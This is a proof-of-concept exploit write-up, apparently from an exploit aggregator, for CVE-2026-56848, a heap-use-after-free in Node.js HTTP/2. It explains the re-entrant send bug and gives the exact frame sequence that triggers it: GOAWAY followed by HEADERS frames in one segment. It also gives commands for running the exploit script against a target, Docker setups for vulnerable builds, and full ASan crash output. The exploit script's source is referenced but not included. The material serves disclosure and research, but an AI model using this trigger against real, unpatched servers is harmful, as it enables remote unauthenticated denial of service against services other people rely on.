## https://sploitus.com/exploit?id=EF743934-37E4-593C-8E1E-CE84EFF85226
# CVE-2026-56848
## NVD Description
> A flaw in Node.js HTTP/2 handling allows `nghttp2_session_mem_send()` to be called re-entrantly while `nghttp2_session_mem_recv()` is executing, resulting in a heap-use-after-free.
>
> This vulnerability affects Node.js 26.x, 24.x, and 22.x.
(Note: versions mentioned in the description apply only to the upstream nodejs package and not the nodejs package as distributed by Alpine.
| Release line | Vulnerable | Fixed |
|--------------|----------------|------------|
| 22.x (LTS) | β€ 22.23.1 | 22.23.2 |
| 24.x (LTS) | β€ 24.18.0 | 24.18.1 |
| 26.x | β€ 26.5.0 | 26.5.1 |
- **Severity:** High (CVSS 7.5, `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` β remote, unauthenticated DoS via heap corruption)
- **Reported by:** hahahkim (HackerOne #3833629)
- **Fixed by:** Matteo Collina (mcollina)
- **Fix commit (v22):** `daa6d25e3dce` β *"http2: defer rst stream while in scope"* (nodejs-private/node-private#921)
- **Disclosed:** Node.js security releases, 2026-07-29
## Root Cause
`Http2Stream::SubmitRstStream()` in [src/node_http2.cc](https://github.com/nodejs/node/blob/v22.23.1/src/node_http2.cc#L2509) forces a purge of pending outbound data before queueing the RST_STREAM:
```cpp
void Http2Stream::SubmitRstStream(const uint32_t code) {
CHECK(!this->is_destroyed());
code_ = code;
// (NGHTTP2_CANCEL is deferred β fix for an older double-free)
if (session_->is_in_scope() && is_stream_cancel(code)) {
session_->AddPendingRstStream(id_);
return;
}
// If possible, force a purge of any currently pending data here to make
// sure it is sent before closing the stream. ...
if (session_->SendPendingData() != 0) { // β RE-ENTRANT mem_send()
session_->AddPendingRstStream(id_);
return;
}
FlushRstStream();
}
```
`SendPendingData()` calls `nghttp2_session_mem_send()` ([node_http2.cc:1970](https://github.com/nodejs/node/blob/v22.23.1/src/node_http2.cc#L1970)). Its only re-entrancy guard is `is_sending()`, which protects against *send-during-send* (a write already in flight) β **not against send-during-receive**. When `SubmitRstStream()` runs from inside an `nghttp2_session_mem_recv()` callback chain ("in scope"), the purge runs `mem_send()` re-entrantly.
The re-entrant `mem_send()` flushes frames whose send-side processing tears down streams (`nghttp2_session_close_stream_on_goaway()` β `on_stream_close` β `Http2Stream::Destroy()` β free of the C++ `Http2Stream`). The freed stream is still referenced by the in-flight receive operation: `SubmitRstStream()` itself continues executing on the freed `this` (its trailing `FlushRstStream()` reads `is_destroyed()`), and the outer `mem_recv()` keeps walking frame/header state for the closed stream β **heap-use-after-free**.
### Trigger chain (all inside a single `nghttp2_session_mem_recv()` call)
1. Attacker sends `GOAWAY(lastStreamID=0, NO_ERROR)` immediately followed by `HEADERS` frames for new streams (3, 5, 7, β¦) in one TCP segment.
2. Server's `mem_recv()` processes GOAWAY β JS `session.close()` β `session.closed = true` and an outbound GOAWAY is **submitted but not yet sent**.
3. nghttp2 only refuses new incoming streams once GOAWAY is actually *sent* (`session_allow_incoming_new_stream()` checks `TERM_ON_SEND | SENT`, not `SUBMITTED`), so `HEADERS(3)` is still accepted.
4. JS `onSessionHeaders()` sees a new stream on a closed session and refuses it: `handle.rstStream(NGHTTP2_REFUSED_STREAM)` (lib/internal/http2/core.js).
5. C++ `SubmitRstStream(NGHTTP2_REFUSED_STREAM)` runs in scope (inside `mem_recv`), `REFUSED_STREAM β CANCEL` β falls through to `SendPendingData()` β **re-entrant `nghttp2_session_mem_send()`**.
6. The re-entrant send flushes the outbound GOAWAY; nghttp2's send-side GOAWAY processing closes incoming streams with id > 1 (`session_close_stream_on_goaway(..., NGHTTP2_REFUSED_STREAM)`), firing `on_stream_close` β `Http2Stream::Destroy()` frees the C++ stream object for stream 3.
7. Execution unwinds back into `SubmitRstStream()` on the freed object (`FlushRstStream()`), and the outer `mem_recv()` resumes on corrupted session/stream state β UAF.
Evidence from `NODE_DEBUG_NATIVE=http2` on a vulnerable server (one 86-byte read):
```
receiving 86 bytes, offset 0
complete frame received: type: 7 β GOAWAY
submitting goaway β GOAWAY submitted, NOT yet sent
beginning headers for stream 3 β still accepted (only SUBMITTED)
handle headers frame for stream 3 β JS: session.closed β refuse
sending rst_stream with code 7 β SubmitRstStream(REFUSED_STREAM), in scope
sending pending data β RE-ENTRANT mem_send()
stream 3 closed with code: 7 β GOAWAY send closes stream 3
Removing stream: 3 / destroying stream β Http2Stream freed mid-recv
```
### Behavioral signature
The wire-level output is identical on vulnerable and patched builds (both end up sending only the outbound GOAWAY β on vulnerable builds the RST is submitted against an already-closed stream, on patched builds nghttp2 drops the queued RSTs once the GOAWAY goes out first). The difference is internal, visible with `NODE_DEBUG_NATIVE=http2`:
- **Vulnerable:** `sending pending data` appears *between* `sending rst_stream with code 7` and `stream 3 closed with code: 7` β the re-entrant `mem_send()` runs mid-receive and closes/destroys stream 3 while `mem_recv()` is still in flight (crash under ASan).
- **Patched:** no `sending pending data` between them β the RST is merely queued; stream 3 closes only during the normal post-receive flush.
## PoC
```
server.js # minimal http2.createServer() target (no handler needed)
exploit.js # raw-socket HTTP/2 client that drives the trigger
```
### Quick run
```bash
# Terminal 1: the target (any vulnerable node: 22.23.1 / 24.18.0 / 26.5.0 or older in their lines)
node server.js 8000 # NODE_BIN=/path/to/node for a specific binary
# Terminal 2: the attack β a crash shows up in terminal 1 (ASan report / segfault)
node exploit.js --port 8000 --iterations 200
```
`./bin/node` (the local ASan build used below) is not tracked in git β build it
with the instructions under "Building an ASan-instrumented vulnerable Node.js",
or use the Docker route.
The exploit reports per-connection status; `SKIPPED (no handshake)` after the first
connection means the target already died from the attack.
### Docker
The `Dockerfile` builds a vulnerable v22.23.1 target with ASan inside a container (no local toolchain needed β only the Docker daemon):
```bash
docker build -t cve-2026-56848 .
docker run --rm -p 8000:8000 --name cve-target cve-2026-56848
# from the host, in another terminal:
# you could reuse ./bin/node
node exploit.js --port 8000 --iterations 10
# inspect the crash (ASan report) and exit code:
docker logs cve-target
docker inspect cve-target --format '{{.State.ExitCode}}' # 133 (ASan abort) = crashed
```
Tip: if you already have an ASan-instrumented `node` binary built elsewhere, skip the
long compile and package it directly:
```bash
docker run --name cve-img -v /path/to/out/Release:/opt/node debian:bookworm-slim \
bash -c 'apt-get update -qq && apt-get install -y -qq libstdc++6 libatomic1 \
&& cp /opt/node/node /usr/local/bin/node-asan && mkdir -p /app'
docker cp server.js cve-img:/app/server.js
docker commit --change 'WORKDIR /app' --change 'EXPOSE 8000' \
--change 'ENV HOST=0.0.0.0' --change 'ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1' \
--change 'ENTRYPOINT ["/usr/local/bin/node-asan"]' --change 'CMD ["server.js", "8000"]' \
cve-img cve-2026-56848:verified
```
Verified against the containerized target: the first attack connection produces
`ERROR: AddressSanitizer: heap-use-after-free ... ABORTING` in `docker logs` and
the container exits (133 on linux/arm64) β same UAF as the native ASan run.
Plain (non-ASan) variant using an official image, for hammering without a custom build:
```bash
docker run --rm -p 8000:8000 -e HOST=0.0.0.0 -v "$PWD/server.js":/server.js \
node:22.23.1-alpine node /server.js 8000
```
Note: if ASan fails to start inside the container with a shadow-memory range error (seen on some ARM64 kernels with high `vm.mmap_rnd_bits`), lower the entropy on the Docker host: `sysctl vm.mmap_rnd_bits=28`.
### Building an ASan-instrumented vulnerable Node.js
```bash
# Linux (officially supported):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && ./configure --debug --enable-asan && make -j$(nproc)
# macOS (unofficial but works with clang):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && CC=clang CXX=clang++ \
CFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
LDFLAGS="-fsanitize=address" \
./configure --debug --ninja && ninja -C out/Debug node
```
The ASan build reproduces the heap-use-after-free deterministically (typically on the first few connections). Plain release builds do not usually crash because the freed chunk is not immediately reused; hammering raises the odds but ASan is the reliable way to demonstrate the corruption.
### Verified results
| Target | Result |
|--------|--------|
| v22.23.1 + ASan (vulnerable) | **Crashes on the first attack connection**: `heap-use-after-free` β SIGABRT, runner exit 0 |
| v22.23.2 (patched) | Survives all connections, runner exit 1 |
ASan report (excerpt, v22.23.1 macOS arm64 build):
```
ERROR: AddressSanitizer: heap-use-after-free ... READ of size 1 at 0x60d000003cdc thread T0
#0 session_end_stream_headers_received nghttp2_session.c:3711
#1 session_after_header_block_received nghttp2_session.c:3824
#2 nghttp2_session_mem_recv2 nghttp2_session.c:6506
#3 nghttp2_session_mem_recv nghttp2_session.c:5421
#4 node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
freed by thread T0 here:
...
#5 nghttp2_session_destroy_stream nghttp2_session.c:1369
#6 nghttp2_session_close_stream nghttp2_session.c:1350
#7 session_close_stream_on_goaway nghttp2_session.c:2442
#8 session_after_frame_sent1 nghttp2_session.c:2665
#9 nghttp2_session_mem_send2 nghttp2_session.c:3144 β re-entrant send
#10 node::http2::Http2Session::SendPendingData() node_http2.cc:1970
#11 node::http2::Http2Stream::SubmitRstStream(...) node_http2.cc:2535
```
The outer `mem_recv()` reads `stream->shut_flags` from stream 3's `nghttp2_stream` β freed by the re-entrant `mem_send()`'s GOAWAY processing β exactly the re-entrancy described in the advisory.
```zsh
β ./bin/node server.js 8000
[server] listening on 8000
=================================================================
==46874==ERROR: AddressSanitizer: heap-use-after-free on address 0x60d000003cdc at pc 0x00010984c5fc bp 0x00016b3e8c60 sp 0x00016b3e8c58
READ of size 1 at 0x60d000003cdc thread T0
#0 0x00010984c5f8 in session_end_stream_headers_received nghttp2_session.c:3711
#1 0x00010983e7d8 in session_after_header_block_received nghttp2_session.c:3824
#2 0x000109838518 in nghttp2_session_mem_recv2 nghttp2_session.c:6506
#3 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#4 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
#5 0x0001050ad564 in node::http2::Http2Session::OnStreamRead(long, uv_buf_t const&) node_http2.cc:2194
#6 0x000104dda218 in node::StreamResource::EmitRead(long, uv_buf_t const&) stream_base-inl.h:79
#7 0x000105544d1c in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) stream_wrap.cc:292
#8 0x000105547be4 in node::LibuvStreamWrap::ReadStart()::$_1::operator()(uv_stream_s*, long, uv_buf_t const*) const stream_wrap.cc:212
#9 0x0001055479bc in node::LibuvStreamWrap::ReadStart()::$_1::__invoke(uv_stream_s*, long, uv_buf_t const*) stream_wrap.cc:208
#10 0x0001085e025c in uv__read stream.c:1148
#11 0x0001085d5568 in uv__stream_io stream.c:1208
#12 0x000108600844 in uv__io_poll kqueue.c:423
#13 0x000108599e94 in uv_run core.c:460
#14 0x000104afc710 in node::SpinEventLoopInternal(node::Environment*) embed_helpers.cc:41
#15 0x000105134040 in node::NodeMainInstance::Run(node::ExitCode*, node::Environment*) node_main_instance.cc:111
#16 0x000105133564 in node::NodeMainInstance::Run() node_main_instance.cc:100
#17 0x000104e74864 in node::StartInternal(int, char**) node.cc:1630
#18 0x000104e73ed8 in node::Start(int, char**) node.cc:1637
#19 0x00010928e3d4 in main node_main.cc:97
#20 0x000189482b94 ()
0x60d000003cdc is located 124 bytes inside of 136-byte region [0x60d000003c60,0x60d000003ce8)
freed by thread T0 here:
#0 0x000117991424 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d424)
#1 0x000104bebe3c in char* node::UncheckedRealloc(char*, unsigned long) util-inl.h:261
#2 0x000105112128 in node::mem::NgLibMemoryManager::ReallocImpl(void*, unsigned long, void*) node_mem-inl.h:53
#3 0x000105111f80 in node::mem::NgLibMemoryManager::FreeImpl(void*, void*) node_mem-inl.h:83
#4 0x00010981a450 in nghttp2_mem_free nghttp2_mem.c:61
#5 0x000109825aa8 in nghttp2_session_destroy_stream nghttp2_session.c:1369
#6 0x0001098258ac in nghttp2_session_close_stream nghttp2_session.c:1350
#7 0x00010983002c in session_close_stream_on_goaway nghttp2_session.c:2442
#8 0x000109828e64 in session_after_frame_sent1 nghttp2_session.c:2665
#9 0x000109826804 in nghttp2_session_mem_send2 nghttp2_session.c:3144
#10 0x000109826724 in nghttp2_session_mem_send nghttp2_session.c:3124
#11 0x00010509e878 in node::http2::Http2Session::SendPendingData() node_http2.cc:1970
#12 0x0001050a359c in node::http2::Http2Stream::SubmitRstStream(unsigned int) node_http2.cc:2535
#13 0x0001050b973c in node::http2::Http2Stream::RstStream(v8::FunctionCallbackInfo const&) node_http2.cc:3044
#14 0x0001086163d4 in Builtins_CallApiCallbackGeneric+0xb4 (node:arm64+0x103c0e3d4)
#15 0x00010861432c in Builtins_InterpreterEntryTrampoline+0x10c (node:arm64+0x103c0c32c)
#16 0x0001086117c8 in Builtins_JSEntryTrampoline+0xa8 (node:arm64+0x103c097c8)
#17 0x0001086114b0 in Builtins_JSEntry+0x90 (node:arm64+0x103c094b0)
#18 0x000105ff5358 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) execution.cc:418
#19 0x000105ff408c in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle, v8::internal::Handle, int, v8::internal::Handle*) execution.cc:504
#20 0x00010590caac in v8::Function::Call(v8::Local, v8::Local, int, v8::Local*) api.cc:5485
#21 0x000104af5168 in node::InternalMakeCallback(node::Environment*, v8::Local, v8::Local, v8::Local, int, v8::Local*, node::async_context, v8::Local) callback.cc:237
#22 0x000104b69780 in node::AsyncWrap::MakeCallback(v8::Local, int, v8::Local*) async_wrap.cc:665
#23 0x0001050a463c in node::http2::Http2Session::HandleHeadersFrame(nghttp2_frame const*) node_http2.cc:1567
#24 0x000105092e68 in node::http2::Http2Session::OnFrameReceive(nghttp2_session*, nghttp2_frame const*, void*) node_http2.cc:1107
#25 0x00010982b5b0 in session_call_on_frame_received nghttp2_session.c:3229
#26 0x00010983e72c in session_after_header_block_received nghttp2_session.c:3815
#27 0x000109838518 in nghttp2_session_mem_recv2 nghttp2_session.c:6506
#28 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#29 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
previously allocated by thread T0 here:
#0 0x000117991520 in realloc+0x80 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d520)
#1 0x000104bebe58 in char* node::UncheckedRealloc(char*, unsigned long) util-inl.h:265
#2 0x000105112128 in node::mem::NgLibMemoryManager::ReallocImpl(void*, unsigned long, void*) node_mem-inl.h:53
#3 0x000105111f3c in node::mem::NgLibMemoryManager::MallocImpl(unsigned long, void*) node_mem-inl.h:77
#4 0x00010981a3a0 in nghttp2_mem_malloc nghttp2_mem.c:57
#5 0x000109824728 in nghttp2_session_open_stream nghttp2_session.c:1227
#6 0x000109829ee8 in nghttp2_session_on_request_headers_received nghttp2_session.c:3910
#7 0x00010983c454 in session_process_headers_frame nghttp2_session.c:4058
#8 0x000109833ad4 in nghttp2_session_mem_recv2 nghttp2_session.c:5657
#9 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#10 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
#11 0x0001050ad564 in node::http2::Http2Session::OnStreamRead(long, uv_buf_t const&) node_http2.cc:2194
#12 0x000104dda218 in node::StreamResource::EmitRead(long, uv_buf_t const&) stream_base-inl.h:79
#13 0x000105544d1c in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) stream_wrap.cc:292
#14 0x000105547be4 in node::LibuvStreamWrap::ReadStart()::$_1::operator()(uv_stream_s*, long, uv_buf_t const*) const stream_wrap.cc:212
#15 0x0001055479bc in node::LibuvStreamWrap::ReadStart()::$_1::__invoke(uv_stream_s*, long, uv_buf_t const*) stream_wrap.cc:208
#16 0x0001085e025c in uv__read stream.c:1148
#17 0x0001085d5568 in uv__stream_io stream.c:1208
#18 0x000108600844 in uv__io_poll kqueue.c:423
#19 0x000108599e94 in uv_run core.c:460
#20 0x000104afc710 in node::SpinEventLoopInternal(node::Environment*) embed_helpers.cc:41
#21 0x000105134040 in node::NodeMainInstance::Run(node::ExitCode*, node::Environment*) node_main_instance.cc:111
#22 0x000105133564 in node::NodeMainInstance::Run() node_main_instance.cc:100
#23 0x000104e74864 in node::StartInternal(int, char**) node.cc:1630
#24 0x000104e73ed8 in node::Start(int, char**) node.cc:1637
#25 0x00010928e3d4 in main node_main.cc:97
#26 0x000189482b94 ()
SUMMARY: AddressSanitizer: heap-use-after-free nghttp2_session.c:3711 in session_end_stream_headers_received
Shadow bytes around the buggy address:
0x60d000003a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x60d000003a80: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x60d000003b00: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
0x60d000003b80: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x60d000003c00: 00 00 00 fa fa fa fa fa fa fa fa fa fd fd fd fd
=>0x60d000003c80: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fa fa fa
0x60d000003d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==46874==ABORTING
[1] 46874 abort ./bin/node server.js 8000
```
## References
- [Node.js security releases β July 29, 2026](https://nodejs.org/en/blog/vulnerability/july-2026-security-releases)
- [Fix commit (v22.23.2): http2: defer rst stream while in scope](https://github.com/nodejs/node/commit/daa6d25e3dceb30edb832a778ec0610c8bc2dd12)
- [Regression test: test-http2-rst-stream-reentrancy.js](https://github.com/nodejs/node/blob/v22.23.2/test/parallel/test-http2-rst-stream-reentrancy.js)
- [nodejs-private/node-private#921](https://github.com/nodejs-private/node-private/pull/921)
- [HackerOne report 3833629](https://hackerone.com/reports/3833629) (not yet public)
- [CVE-2026-56848 β IONIX threat center](https://www.ionix.io/threat-center/cve-2026-56848/)
- [Red Hat CVE page](https://access.redhat.com/security/cve/cve-2026-56848)